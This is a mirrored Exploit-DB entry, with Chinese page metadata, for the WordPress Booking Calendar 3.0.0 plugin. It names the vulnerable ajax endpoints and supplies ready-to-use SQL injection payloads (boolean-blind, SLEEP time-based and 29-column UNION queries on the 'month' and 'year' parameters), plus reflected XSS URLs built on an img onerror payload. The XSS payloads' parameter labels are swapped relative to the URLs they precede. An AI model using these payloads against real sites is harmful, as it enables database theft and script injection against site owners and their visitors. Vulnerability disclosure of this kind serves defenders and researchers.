WordPress Plugin Booking Calendar 3.0.0 – SQL Injection / Cross-Site Scripting

• Exploit Database
• 17 阅读

• 作者： AkkuS
  日期： 2018-05-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44769/

• # Exploit Title: WordPress Plugin Booking Calendar 3.0.0 - SQL Injection / Cross-Site Scripting
  # Dork: N/A
  # Date: 26.05.2018
  # Exploit Author: Özkan Mustafa Akkuş (AkkuS)
  # Vendor: Wachipi
  # Vendor Homepage: https://codecanyon.net/item/wp-booking-calendar/4639530
  # Version: 3.0.0
  # Category: Webapps
  # Tested on: Kali linux
  # Description : An attacker can perform attacks via calendar ajax queries.
  However, this plugin is fully PHP-enabled. You can run SQL query with "month" and "year" parameters.
  These parameters are also suitable for XSS attacks.
  All PHP queries for which these parameters work have the same vulnerable.
  
  ====================================================
  # "fillEventsPopup.php, searchEvents.php, getEvent.php, getMonthCalendar.php" have the same vulnerable.
  
  # PoC : SQLi :
  # GET /BOOKING_WP/wp-content/plugins/wp-booking-calendar/public/ajax/getMonthCalendar.php?month=4&year=2018&calendar_id=1&publickey=6LcDyOASAAAAACsEVY6G4Yo1BqxCGW15S15mb36-%20&wpml_lang=
  
  # Parameter: month (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: year=2018&month=5' AND 7958=7958 AND 'FXnO'='FXnO&calendar_id=1
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: year=2018&month=5' AND SLEEP(5) AND 'MmZz'='MmZz&calendar_id=1
  
  Type: UNION query
  Title: MySQL UNION query (NULL) - 29 columns
  Payload: year=2018&month=5' UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7171,0x424e507748695862436e774c4a4d664a7751424c537678554656465a464b7074685051527676756e,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&calendar_id=1
  
  Parameter: year (GET)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: year=-8454' OR 7997=7997#&month=5&calendar_id=14&pag=1
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: year=2018' AND SLEEP(5)-- uTJs&month=5&calendar_id=14&pag=1
  
  Type: UNION query
  Title: MySQL UNION query (NULL) - 29 columns
  Payload: year=2018' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7171,0x7766694a50504a425a6e635a564b5172674c745770414e4f46494977475a44626b416a6c797a674b,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&month=5&calendar_id=1
  
  ====================================================
  
  # PoC : XSS :
  
  Payload(year) : http://www.site.com/BOOKING_WP/wp-content/plugins/wp-booking-calendar/public/ajax/getMonthCalendar.php?month=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&year=2018&calendar_id=1&publickey=6LcDyOASAAAAACsEVY6G4Yo1BqxCGW15S15mb36-%20&wpml_lang=
  
  Payload(month) : http://www.site.com/BOOKING_WP/wp-content/plugins/wp-booking-calendar/public/ajax/getMonthCalendar.php?month=4&year=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&calendar_id=1&publickey=6LcDyOASAAAAACsEVY6G4Yo1BqxCGW15S15mb36-%20&wpml_lang=